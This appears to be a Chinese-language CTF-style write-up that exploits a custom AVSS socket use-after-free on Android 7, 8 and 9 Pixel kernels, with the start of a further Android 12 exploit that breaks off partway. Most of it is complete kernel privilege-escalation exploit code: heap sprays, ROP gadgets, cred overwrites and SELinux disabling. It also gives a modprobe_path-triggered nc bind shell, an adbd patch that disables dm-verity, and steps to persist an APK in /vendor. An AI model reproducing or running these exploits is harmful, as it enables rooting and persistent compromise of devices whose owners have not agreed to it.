#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <netinet/in.h>
#include <linux/socket.h>
#include <linux/unistd.h>
#include <sched.h>

#define AF_AVSS 1024
#define AVSS_PORT 2024

/*my custom kernel
uint64_t kernel_setsockopt = 0xFFFFFFC0004E3F70;
uint64_t ksymtab___sk_backlog_rcv = 0xFFFFFFC0007A70B8;
uint64_t add_sp_40_ret = 0xFFFFFFC0004EB048;
#define INIT_TASK 0xFFFFFFC00089A1E0
#define TASK_OFFSET 0x240
#define PID_OFFSET 0x300
#define PTR_CRED_OFFSET 0x498
*/
//pixel 1 kernel
uint64_t kernel_setsockopt = 0xFFFFFFC000C402FC;
uint64_t ksymtab___sk_backlog_rcv = 0xFFFFFFC00106D740;
uint64_t add_sp_40_ret = 0xffffffc0000954fc;
size_t selinux_enforcing = 0xFFFFFFC001716ACC;
#define INIT_TASK 0xFFFFFFC001522120
#define TASK_OFFSET 0x3a8
#define PID_OFFSET 0x468
#define PTR_CRED_OFFSET 0x610

struct avss_addr {
    sa_family_t avss_family;
    uint16_t year;
    uint32_t id;
} __attribute__((packed));

struct avss_data {
    uint8_t score;
    char buff[128];
} __attribute__((packed));

int create_server(int year,int id) {
    int sockfd;
    struct avss_addr addr;
    sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("socket failed");
        return -1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.avss_family = AF_AVSS;
    addr.year = year;
    addr.id = id;

    if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        perror("bind failed");
        close(sockfd);
        return -1;
    }
    return sockfd;
}

int client_connect(int year,int id) {
    int sockfd;
    struct avss_addr addr;

    sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("socket failed");
        return -1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.avss_family = AF_AVSS;
    addr.year = year;
    addr.id = id;

    if (connect(sockfd,(struct sockaddr *)&addr, sizeof(addr)) < 0) {
       perror("connect failed");
       close(sockfd);
       return -1;
    }
    return sockfd;
}

char payload[0x1000];
int client_thread_finished = 0;

void *client_thread(void *arg) {
   size_t serverfd = (size_t)arg;
   struct avss_data data;

   int client_fd = client_connect(2023,1);

   memset(&data, 0, sizeof(data));
   data.score = 85;  // 示例得分
   strcpy(data.buff, "Hello from client!");

   if (send(client_fd, &data, sizeof(data),0) < 0) {
       perror("sendto failed");
       close(client_fd);
       return NULL;
   }
   printf("Message sent to server.\n");
   usleep(500000);
   //UAF
   close(serverfd);
   usleep(500000);
   //setxattr("/tmp", "ha1vk", payload, 0x360, 0);
   if (setxattr("/data/local/tmp", "ha1vk", payload, 0x360, 0)) {
      perror("setxattr");
   }
   sleep(5);
   client_thread_finished = 1;
   return NULL;
}

int read_at_address_pipe(void* address, void* buf, ssize_t len) {
    int ret = 1;
    int pipes[2];

    if(pipe(pipes))
    return 1;

    if(write(pipes[1], address, len) != len)
        goto end;
    if(read(pipes[0], buf, len) != len)
        goto end;

    ret = 0;
end:
    close(pipes[1]);
    close(pipes[0]);
    return ret;
}

int write_at_address_pipe(void* address, void* buf, ssize_t len) {
    int ret = 1;
    int pipes[2];

    if(pipe(pipes))
    return 1;

    if(write(pipes[1], buf, len) != len)
        goto end;
    if(read(pipes[0], address, len) != len)
        goto end;

    ret = 0;
end:
    close(pipes[1]);
    close(pipes[0]);
    return ret;
}

size_t read_qword(size_t addr) {
   size_t val = 0;
   if (read_at_address_pipe((void *)addr,&val,8)) {
      printf("read qword error\n");
      exit(-1);
   }
   return val;
}

uint32_t read_dword(size_t addr) {
   uint32_t val = 0;
   if (read_at_address_pipe((void *)addr,&val,4)) {
      printf("read dword error\n");
      exit(-1);
   }
   return val;
}

void write_dword(size_t addr,uint32_t val) {
   if (write_at_address_pipe((void *)addr,&val,4)) {
      printf("read qword error\n");
      exit(-1);
   }
}

void write_qword(size_t addr,size_t val) {
   if (write_at_address_pipe((void *)addr,&val,8)) {
      printf("read qword error\n");
      exit(-1);
   }
}

size_t get_current_task() {
    size_t task = INIT_TASK;
    size_t result = 0;
    int i = 0;
    int pid;
    int current_task_pid = getpid();

    while(result == 0 && i++ < 1000) {
        task = read_qword(task + TASK_OFFSET) - TASK_OFFSET;
        printf("task: %#lx\n", task);
        if(task == INIT_TASK) {
            break;
        }
        pid = read_dword(task + PID_OFFSET);
        printf("pid: %d\n", pid);
        if(pid == current_task_pid) {
            result = task;
        }
    }

    return result;
}

int main() {
    size_t serverfd;
    struct avss_addr addr;
    uint64_t score;
    uint64_t x = 0;
    pthread_t client_th;
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(1,&mask);

    if(sched_setaffinity(0,sizeof(mask),&mask)== -1) {
       perror("sched setaffinity");
       return -1;
    }

   memset(payload,'a',0x1000);

   /*my custom kernel
   *(int *)(&payload[0x114]) = 1;
   *(int *)(&payload[0x64]) = 1;

   *(size_t *)(&payload[0x28]) = ksymtab___sk_backlog_rcv - 0x68;
   //gadget
   *(size_t *)(&payload[0x290]) = kernel_setsockopt;
   //return to userspace
   *(size_t *)(&payload[0x288]) = add_sp_40_ret;*/

   //pixel 1 kernel
   *(int *)(&payload[0x11C]) = 1;
   *(int *)(&payload[0x6C]) = 1;

   *(size_t *)(&payload[0x28]) = ksymtab___sk_backlog_rcv - 0x68;
   //gadget
   *(size_t *)(&payload[0x2b0]) = kernel_setsockopt;

   *(size_t *)(&payload[0x100]) = 0x8000;
   //return to userspace
   *(size_t *)(&payload[0x2a8]) = add_sp_40_ret;

    serverfd = create_server(2023,1);
    if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
        perror("Failed to create client thread");
        return 1;
    }

    while (!client_thread_finished) {
       score = 0;
       if (syscall(281, serverfd, &score) <0) {
          //printf("syscall error\n");
       }
       //printf("score=%d,x=%d\n",score,x);
    }
    //close(serverfd);
    printf("bypass PXN done\n");
    size_t current_task = get_current_task();
    printf("current_task_addr=0x%lx\n",current_task);
    size_t current_cred = read_qword(current_task + PTR_CRED_OFFSET);
    printf("current_cred: 0x%lx\n", current_cred);

    for(int i = 0; i < 4; i ++) {
        write_qword(current_cred + 4 + i * 8, 0);
    }
    write_dword(selinux_enforcing, 0);
    system("/system/bin/sh");
    return 0;
}

提权后,可以通过以下命令将一个app安装到系统中实现持久化

./busybox mount -o remount,rw /vendor
mkdir /vendor/app/Polaris
cp polaris.apk /vendor/app/Polaris
reboot

重启后即可见效果

Android 8 - Pixel 2

UAF的制造与Android 7有点不一样,这次UAF,我们使用一个新的AVSS socket去占位,经过sys_avss_getscore尾部的sock_put时,这个新的AVSS socket引用计数会减1。为了让这个新的AVSS socket也成为UAF状态,我们使用的是client,而不是server,因为server的引用为3,而client的引用为2(create时为1,connect时为2)。这个client经过sys_avss_getscore尾部的sock_put后,引用为1。此时对server进行close,client的引用为0,被free掉了。但是client的文件描述符可以继续操作,这就使得client成为了一个UAF的sock对象。

通过伪造parse指针为读写的gadget,可以实现任意地址读写。

img

同时需要伪造一下selinux用到的指针,因为bind时会经过selinux来到这个函数,只需要伪造任意的一个地址,满足*(int *)addr == 1,即可绕过。

img

通过任意地址读写,改写selinux_enforcing为0,关闭selinux,然后搜索cred结构体并改写uid等字段提权。

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <netinet/in.h>
#include <linux/socket.h>
#include <linux/unistd.h>
#include <sys/msg.h>
#include <linux/keyctl.h>
#include <sched.h>

#define AF_AVSS 1024
#define AVSS_PORT 2024

size_t kernel_base;
size_t gadget_leak;
size_t gadget_write;
size_t init_task;
//pixel 2 kernel
#define TASK_OFFSET 0x440
#define PID_OFFSET 0x538
#define PTR_CRED_OFFSET 0x6E8

struct avss_addr {
    sa_family_t avss_family;
    uint16_t year;
    uint32_t id;
} __attribute__((packed));

struct avss_data {
    uint8_t score;
    char buff[128];
} __attribute__((packed));

int create_server(int year,int id) {
    int sockfd;
    struct avss_addr addr;
    sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("socket failed");
        return -1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.avss_family = AF_AVSS;
    addr.year = year;
    addr.id = id;

    if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        perror("bind failed");
        close(sockfd);
        return -1;
    }
    return sockfd;
}

int client_connect(int year,int id) {
    int sockfd;
    struct avss_addr addr;

    sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("socket failed");
        return -1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.avss_family = AF_AVSS;
    addr.year = year;
    addr.id = id;

    if (connect(sockfd,(struct sockaddr *)&addr, sizeof(addr)) < 0) {
       perror("connect failed");
       close(sockfd);
       return -1;
    }
    return sockfd;
}

char payload[0x1000];
int client_thread_finished = 0;

void spray_addkey(int count) {
    int i;
    char desc[0x400];
    for (i = 0; i < count; i++) {
        memset(desc, 'b', 0x300);
        desc[0x300] = 0;
        syscall(__NR_add_key, "user", desc, payload, 0x400, KEY_SPEC_PROCESS_KEYRING);
    }
}

int newserverfd;
int newclient_fd;

void *client_thread(void *arg) {
   size_t serverfd = (size_t)arg;
   struct avss_data data;

   int client_fd = client_connect(2023,1);

   memset(&data, 0, sizeof(data));
   data.score = 85;  // 示例得分
   strcpy(data.buff, "Hello from client!");

   if (send(client_fd, &data, sizeof(data),0) < 0) {
       perror("sendto failed");
       close(client_fd);
       return NULL;
   }
   printf("Message sent to server.\n");
   usleep(100000);
   //UAF
   close(serverfd);
   usleep(500000);
   //使用一个任意文件占位原来的serverfd描述符,但是不能用avss_socket去,不然sk指针会重新获取
   open("/dev/null",0);
   //使用newclient的sock结构体去占位,经过getscore中的sk_free时,newclient的引用将减1但没释放
   newclient_fd = client_connect(2023,2);
   close(serverfd);
   //关闭newclient的一个引用,由于之前减了1,这次关闭引用后,newclient的引用为0将被释放
   close(newserverfd);
   sleep(5);
   close(client_fd);
   client_thread_finished = 1;
   return NULL;
}

ssize_t syscall_send(int sockfd, const void *buf, size_t len, int flags) {
    ssize_t ret;

    asm volatile (
        "mov x8, %1\n"
        "mov x0, %2\n"
        "mov x1, %3\n"
        "mov x2, %4\n"
        "mov x3, %5\n"
        "mov x4, #0\n"
        "mov x5, #0\n"
        "svc #0\n"
        "mov %0, x0\n"
        : "=r" (ret)
        : "r" (SYS_sendto), "r" (sockfd), "r" (buf), "r" (len), "r" (flags)  // 输入寄存器
        : "x0", "x1", "x2", "x3", "x4", "x5", "x8" // clobbered 寄存器
    );

    return ret;
}

int client_trigger;

uint32_t read_dword(size_t addr) {
    struct avss_addr sk_addr;
    memset(payload, 0, 0x360);
    *(size_t *)(&payload[0x180]) = addr - 0x58;
    // sock_has_perm
    *(size_t *)(&payload[0x270]) = kernel_base + 0x12512f8; // fake a sk_security_struct

    *(size_t *)(&payload[0x2c8]) = 2023;        // year
    *(size_t *)(&payload[0x2cc]) = 5;           // id
    payload[0x2d0] = 1;                         // score
    *(size_t *)(&payload[0x2e0]) = gadget_leak; // parse
    spray_addkey(100);

    memset(&sk_addr, 0, sizeof(sk_addr));
    sk_addr.avss_family = AF_AVSS;
    sk_addr.year = 2023;
    sk_addr.id = 5;

    if (connect(client_trigger, (struct sockaddr *)&sk_addr, sizeof(sk_addr)) < 0) {
        perror("client trigger connect failed");
        return -1;
    }

    uint32_t x = (uint32_t)syscall_send(client_trigger, "aaaa", 4, 0);
    close(client_trigger);
    client_trigger = socket(AF_AVSS, SOCK_DGRAM, 0);
    if (client_trigger < 0) {
        perror("socket failed");
        return -1;
    }
    return x;
}

size_t read_qword(size_t addr) {
   uint32_t low = read_dword(addr);
   uint32_t high = read_dword(addr + 4);
   size_t val = low + ((size_t)high << 32);
   return val;
}

int write_qword(size_t addr,size_t val) {
    struct avss_addr sk_addr;
    memset(payload, 0, 0x360);
    *(size_t *)(&payload[0x20]) = addr - 0x68;
    // sock_has_perm
    *(size_t *)(&payload[0x270]) = kernel_base + 0x12512f8; // fake a sk_security_struct

    *(size_t *)(&payload[0x2c8]) = 2023;        // year
    *(size_t *)(&payload[0x2cc]) = 5;           // id
    payload[0x2d0] = 1;                         // score
    *(size_t *)(&payload[0x2e0]) = gadget_write; // parse
    spray_addkey(100);

    memset(&sk_addr, 0, sizeof(sk_addr));
    sk_addr.avss_family = AF_AVSS;
    sk_addr.year = 2023;
    sk_addr.id = 5;

    if (connect(client_trigger, (struct sockaddr *)&sk_addr, sizeof(sk_addr)) < 0) {
        perror("client trigger connect failed");
        return -1;
    }

    uint32_t x = (uint32_t)syscall_send(client_trigger, "ha1vk", val, 0);
    close(client_trigger);
    client_trigger = socket(AF_AVSS, SOCK_DGRAM, 0);
    if (client_trigger < 0) {
        perror("socket failed");
        return -1;
    }
    return x;
}

size_t get_current_task() {
    size_t task = init_task;
    size_t result = 0;
    int i = 0;
    int pid;
    int current_task_pid = getpid();

    while(result == 0 && i++ < 1000) {
        task = read_qword(task + TASK_OFFSET) - TASK_OFFSET;
        printf("task: %#lx\n", task);
        if(task == init_task) {
            break;
        }
        pid = read_dword(task + PID_OFFSET);
        printf("pid: %d\n", pid);
        if(pid == current_task_pid) {
            result = task;
        }
    }

    return result;
}

int main() {
    size_t serverfd;
    struct avss_addr addr;
    uint64_t score;
    uint64_t x = 0;
    pthread_t client_th;

    //全部分配到一个CPU上执行,否则很难堆喷成功
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(1, &mask);
    if (sched_setaffinity(0, sizeof(mask), &mask) == -1) {
        perror("sched setaffinity");
        return -1;
    }

    memset(payload, 0, 0x1000);

    serverfd = create_server(2023, 1);
    newserverfd = create_server(2023, 2);
    
    client_trigger = socket(AF_AVSS, SOCK_DGRAM, 0);
    if (client_trigger < 0) {
        perror("socket failed");
        return -1;
    }

    if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
        perror("Failed to create client thread");
        return 1;
    }

    while (!client_thread_finished) {
        score = 0;
        if (syscall(285, serverfd, &score) < 0) {
            // printf("syscall error\n");
        }
    }

    // now newclient_fd is UAF
    printf("start leaking kernel base(wait a few minutes)...\n");
    *(uint16_t *)&payload[0x10] = 0x400;
    *(uint32_t *)&payload[0x2C8] = 2023; //year
    *(uint32_t *)&payload[0x2CC] = 4; //iod
    payload[0x2D0] = 100; //score
    *(uint64_t *)&payload[0x2D8] = 0; //peer
    *(uint64_t *)&payload[0x2E0] = 0xFFFFFF80090D7E34; //avss_default_parse
    while (1) {
       *(uint64_t *)&payload[0x2E0] += 0x100000;
       spray_addkey(100);
       if (syscall(285, newclient_fd, &score) == 0) {
          printf("found kernel address\n");
          break;
       }
    }
    kernel_base = *(uint64_t *)&payload[0x2E0] - 0x1057e34;
    //kernel_base = 0xffffff8d6a480000;
    printf("kernel_base=0x%lx\n", kernel_base);
    init_task = kernel_base + 0x254d750;
    // 0xffffff800869a73c : ldr x0, [x0, #0x180] ; ldr x0, [x0, #0x58] ; ret
    gadget_leak = kernel_base + 0x61a73c;
    //0xffffff80088e4dd0 : ldr x1, [x0, #0x20] ; str x2, [x1, #0x68] ; ldrb w1, [x0, #0x35] ; orr w1, w1, #4 ; strb w1, [x0, #0x35] ; ret
    gadget_write = kernel_base + 0x864dd0;
    size_t selinux_enforcing = kernel_base + 0x285fa4c;
    // 伪造sock结构体
    memset(payload, 0, 0x360);
    // 绕过selinux函数sock_has_perm的检查
    *(size_t *)(&payload[0x270]) = kernel_base + 0x12512f8; // fake a sk_security_struct
    spray_addkey(100);

    memset(&addr, 0, sizeof(addr));
    addr.avss_family = AF_AVSS;
    addr.year = 2023;
    addr.id = 5;

    if (bind(newclient_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        perror("bind failed");
        return -1;
    }

    size_t current_task = get_current_task();
    printf("current_task_addr=0x%lx\n",current_task);
    size_t current_cred = read_qword(current_task + PTR_CRED_OFFSET);
    printf("current_cred: 0x%lx\n", current_cred);

    for(int i = 0; i < 4; i ++) {
        write_qword(current_cred + 4 + i * 8, 0);
    }

    write_qword(selinux_enforcing-4,0xffffffff00000000);
    memset(payload, 0, 0x400);
    //设置sk的引用,避免最后程序退出时关闭文件描述符时释放这个UAF的sk造成系统崩溃
    *(size_t *)(&payload[0x80]) = 0xff;
    *(size_t *)(&payload[0x120]) = 0xff;
    spray_addkey(100);
    
    system("/system/bin/sh");

    return 0;
}

由于设备的分区开了保护,通过分析adb发现adb可以关闭保护adb disable-verity,但是需要adbd具有root权限。分析adbd,我们从系统中提取adbd程序,然后对adbd进行patch,让其主函数直接调用set_verity_enabled_state_service(1, 0LL)关闭分区保护

img

我们把这个修改过的adbd程序命名为disable-dm-verity,在我们获得的root shell中调用后重启,即可关闭分区保护。全部命令如下

./disable-dm-verity
reboot


./busybox mount -o remount,rw /vendor
mkdir /vendor/app/Polaris
cp polaris.apk /vendor/app/Polaris
reboot

重启后即可见效果

Android 9 - Pixel 3

内核开启了CFI保护,导致劫持函数指针的思路基本不可行。

img

分析avss_release函数发现链表unlink的操作,这可以被利用起来做任意地址写。

img

由于两个数据都必须为合法的内存指针,因此不能直接写数据。但是可以用错位的思路,CPU为小端,因此指针的最低一个字节存放在最前面,我们每次只需要保证指针的最低一个字节被写入到目标地址即可。令*(v3 + 112) = addr,

*(v3 + 104) = bss | byte,则可以在addr处写上一个字节byte。其中bss为bss的地址,用于保证两个数据都为合法的内存指针不会崩溃。writeByte的原语如下

void writeByte(size_t addr,int byte) {
    size_t serverfd;
    pthread_t client_th;
    uint64_t score;
    memset(payload, 0, 0x1000);
    client_thread_finished = 0;

    serverfd = create_server(2023, 1);
    newserverfd = create_server(2023, 2);

    if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
        perror("Failed to create client thread");
        return;
    }

    while (!client_thread_finished) {
        score = 0;
        if (syscall(291, serverfd, &score) < 0) {
            // printf("syscall error\n");
        }
    }

    spray_pipe(1);

    *(uint64_t *)&payload[0x80] = 0x2;
    *(uint64_t *)&payload[0x2c8] = selinux_enforcing - 0x2c8;
    *(uint64_t *)&payload[0x2b8] = 1;
    *(uint64_t *)&payload[0x68] = bss | byte;
    *(uint64_t *)&payload[0x70] = addr;
    setxattr("/data/local/tmp", "ha1vk", payload, 0x400, 0);
    close(newclient_fd);
    for (int i=3;i<12;i++) {
        close(i);
    }
    //getchar();
}

通过writeByte改写selinux_enforcing为0关闭selinux,改写modprobe_path为提权脚本。然后触发modprobe_path的执行。在脚本中我们用nc监听了一个端口并启动root shell。

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <netinet/in.h>
#include <linux/socket.h>
#include <linux/unistd.h>
#include <sys/msg.h>
#include <linux/keyctl.h>
#include <sched.h>
#include <sys/mman.h>

#define AF_AVSS 1024
#define AVSS_PORT 2024

size_t kernel_base;
size_t selinux_enforcing;
size_t modprobe_path;
size_t bss;

struct avss_addr {
    sa_family_t avss_family;
    uint16_t year;
    uint32_t id;
} __attribute__((packed));

struct avss_data {
    uint8_t score;
    char buff[128];
} __attribute__((packed));

int create_server(int year,int id) {
    int sockfd;
    struct avss_addr addr;
    sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("socket failed");
        return -1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.avss_family = AF_AVSS;
    addr.year = year;
    addr.id = id;

    if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        perror("bind failed");
        close(sockfd);
        return -1;
    }
    return sockfd;
}

int client_connect(int year,int id) {
    int sockfd;
    struct avss_addr addr;

    sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("socket failed");
        return -1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.avss_family = AF_AVSS;
    addr.year = year;
    addr.id = id;

    if (connect(sockfd,(struct sockaddr *)&addr, sizeof(addr)) < 0) {
       perror("connect failed");
       close(sockfd);
       return -1;
    }
    return sockfd;
}

char payload[0x1000];
int client_thread_finished = 0;

void spray_addkey(int count) {
    int i;
    char desc[0x400];
    for (i = 0; i < count; i++) {
        memset(desc, 'b', 0x300);
        desc[0x300] = 0;
        syscall(__NR_add_key, "user", desc, payload, 0x400, KEY_SPEC_PROCESS_KEYRING);
    }
}

int newserverfd;
int newclient_fd;

void *client_thread(void *arg) {
   size_t serverfd = (size_t)arg;
   struct avss_data data;

   int client_fd = client_connect(2023,1);

   memset(&data, 0, sizeof(data));
   data.score = 85;  // 示例得分
   strcpy(data.buff, "Hello from client!");

   if (send(client_fd, &data, sizeof(data),0) < 0) {
       perror("sendto failed");
       close(client_fd);
       return NULL;
   }
   printf("Message sent to server.\n");
   usleep(100000);
   //UAF
   close(serverfd);
   usleep(500000);
   //使用一个任意文件占位原来的serverfd描述符,但是不能用avss_socket去,不然sk指针会重新获取
   open("/dev/null",0);
   //使用newclient的sock结构体去占位,经过getscore中的sk_free时,newclient的引用将减1但没释放
   newclient_fd = client_connect(2023,2);
   close(serverfd);
   //关闭newclient的一个引用,由于之前减了1,这次关闭引用后,newclient的引用为0将被释放
   close(newserverfd);
   sleep(3);
   close(client_fd);
   client_thread_finished = 1;
   return NULL;
}

ssize_t syscall_send(int sockfd, const void *buf, size_t len, int flags) {
    ssize_t ret;

    asm volatile (
        "mov x8, %1\n"
        "mov x0, %2\n"
        "mov x1, %3\n"
        "mov x2, %4\n"
        "mov x3, %5\n"
        "mov x4, #0\n"
        "mov x5, #0\n"
        "svc #0\n"
        "mov %0, x0\n"
        : "=r" (ret)
        : "r" (SYS_sendto), "r" (sockfd), "r" (buf), "r" (len), "r" (flags)  // 输入寄存器
        : "x0", "x1", "x2", "x3", "x4", "x5", "x8" // clobbered 寄存器
    );

    return ret;
}

#define NUM_PIPE 100
int pipefd[NUM_PIPE][2];
void spray_pipe(int n) {
    for (int i=0;i<n;i++) {
        pipe(pipefd[i]);
    }
}
void writeByte(size_t addr,int byte) {
    size_t serverfd;
    pthread_t client_th;
    uint64_t score;
    memset(payload, 0, 0x1000);
    client_thread_finished = 0;

    serverfd = create_server(2023, 1);
    newserverfd = create_server(2023, 2);

    if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
        perror("Failed to create client thread");
        return;
    }

    while (!client_thread_finished) {
        score = 0;
        if (syscall(291, serverfd, &score) < 0) {
            // printf("syscall error\n");
        }
    }

    spray_pipe(1);

    *(uint64_t *)&payload[0x80] = 0x2;
    *(uint64_t *)&payload[0x2c8] = selinux_enforcing - 0x2c8;
    *(uint64_t *)&payload[0x2b8] = 1;
    *(uint64_t *)&payload[0x68] = bss | byte;
    *(uint64_t *)&payload[0x70] = addr;
    setxattr("/data/local/tmp", "ha1vk", payload, 0x400, 0);
    close(newclient_fd);
    for (int i=3;i<12;i++) {
        close(i);
    }
    //getchar();
}
void setup_rootscript() {
    system("echo '#!/system/bin/sh' > /data/local/tmp/g");
    system("echo '/data/local/tmp/busybox nc -lp 2333 -e /system/bin/sh' >> /data/local/tmp/g");
    system("echo -e '\xff\xff\xff\xff' >> /data/local/tmp/x");
    system("chmod +x /data/local/tmp/busybox /data/local/tmp/x /data/local/tmp/g");
    int test = popen("/data/local/tmp/g","r");
    close(test);
}
int main() {
    size_t serverfd;
    struct avss_addr addr;
    uint64_t score;
    uint64_t x = 0;
    pthread_t client_th;

    //全部分配到一个CPU上执行,否则很难堆喷成功
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(1, &mask);
    if (sched_setaffinity(0, sizeof(mask), &mask) == -1) {
        perror("sched setaffinity");
        return -1;
    }
    setup_rootscript();

    memset(payload, 0, 0x1000);
    serverfd = create_server(2023, 1);
    newserverfd = create_server(2023, 2);

    if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
        perror("Failed to create client thread");
        return 1;
    }

    while (!client_thread_finished) {
        score = 0;
        if (syscall(291, serverfd, &score) < 0) {
            // printf("syscall error\n");
        }
    }

    // now newclient_fd is UAF
    printf("start leaking kernel base(wait a few minutes)...\n");
    *(uint16_t *)&payload[0x10] = 0x400;
    *(uint32_t *)&payload[0x2B8] = 2023; //year
    *(uint32_t *)&payload[0x2BC] = 4; //id
    payload[0x2C0] = 100; //score
    *(uint64_t *)&payload[0x2C8] = 0; //peer
    *(uint64_t *)&payload[0x2D0] = 0xFFFFFF8009934470; //avss_default_parse
    while (1) {
       *(uint64_t *)&payload[0x2D0] += 0x100000;
       spray_addkey(100);
       if (syscall(291, newclient_fd, &score) == 0) {
          printf("found kernel address\n");
          break;
       }
    }
    //关闭全部描述符
    for (int i=3;i<12;i++) {
        close(i);
    }

    kernel_base = *(uint64_t *)&payload[0x2D0] - 0x18b4470;
    //kernel_base = 0xffffff827c280000;
    selinux_enforcing = kernel_base + 0x2de9000;
    modprobe_path = kernel_base + 0x2bafa80;
    bss = kernel_base + 0x2deb000;
    printf("kernel_base=0x%lx\n", kernel_base);
    char *root_script = "/data/local/tmp/g";
    int len = strlen(root_script) + 1;
    for (int i=0;i<len;i++) {
        printf("\rProgress: %d%% ", i * 100 / len);
        writeByte(modprobe_path+i,root_script[i]);
    }

    printf("\ntrigger shell...\n");
    system("ps -e  | grep busybox | awk '{print $2}' | xargs kill -9");
    system("/data/local/tmp/x &");
    sleep(1);
    printf("your shell is here:\n");
    system("/data/local/tmp/busybox nc 127.0.0.1 2333");
    return 0;
}

启动的shell虽然id看到是root,但是selinux的context为u:r:kernel:s0,这会导致仍然不能进行某些操作

img

可以通过在root shell中继续执行runcon u:r:su:s0 /system/bin/sh切换selinux的context获得最高的权限。

img

然后使用如下命令持久化一个app,其中disable-dm-verity9是从该设备中提取的adbd进行patch后得到的程序。

./disable-dm-verity9
reboot


./busybox mount -o remount,rw /vendor
mkdir /vendor/app/Polaris
cp polaris.apk /vendor/app/Polaris
reboot

kSysUAF

Android 12

构建pipe_buffer二级自写管道,实现任意读写,改 cred 结构体实现提权

#define _GNU_SOURCE
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/user.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <ctype.h>
#include <sched.h>
#include <stdint.h>
#include <linux/keyctl.h>
#include <sys/prctl.h>
#include <signal.h>

#define DB_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
#define CPU_ENTRY_AREA 0xfffffe0000000000
#ifndef MSG_COPY
    #define MSG_COPY        040000  /* copy (not remove) all queue messages */
#endif
#define pause() {write(STDOUT_FILENO, "[*] Paused (press enter to continue)\n", 37); getchar();}

// #define DB_STACK_ADDR 0xfffffe0000010f30

void err_msg(char *msg)
{
    printf("\033[31m\033[1m[!] %s \033[0m\n",msg);
    exit(0);
}
void output_msg(char *msg)
{
    printf("\033[34m\033[1m[+] %s \033[0m\n",msg);
}
void print_addr(char *msg, size_t value)
{
    printf("\033[35m\033[1m[*] %s == %p\033[0m\n",msg,(size_t *)value);
}
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    output_msg("Process binded to core");
}

/* root checker and shell poper */
void get_root_shell(void)       
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}


// this is a universal function to print binary data from a char* array
void print_binary(void *addr, int len) 
{
    size_t *buf64 = (size_t *) addr;
    char *buf8 = (char *) addr;
    for (int i = 0; i < len / 8; i += 2) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 2; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 16 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

// 0xffffffff8103c827: pop rdi; ret;
// 0xffffffff8111874f: pop rsp; ret;
#define __NR_uaf 602
#define MSG_SPRAY_NUM 0x10
#define PIPE_SPRAY_NUM 200
/* for pipe escalation */
#define SND_PIPE_BUF_SZ 96
#define TRD_PIPE_BUF_SZ 192

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buf_operations {
    /*
     * ->confirm() verifies that the data in the pipe buffer is there
     * and that the contents are good. If the pages in the pipe belong
     * to a file system, we may need to wait for IO completion in this
     * hook. Returns 0 for good, or a negative error value in case of
     * error.  If not present all pages are considered good.
     */
    int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * When the contents of this pipe buffer has been completely
     * consumed by a reader, ->release() is called.
     */
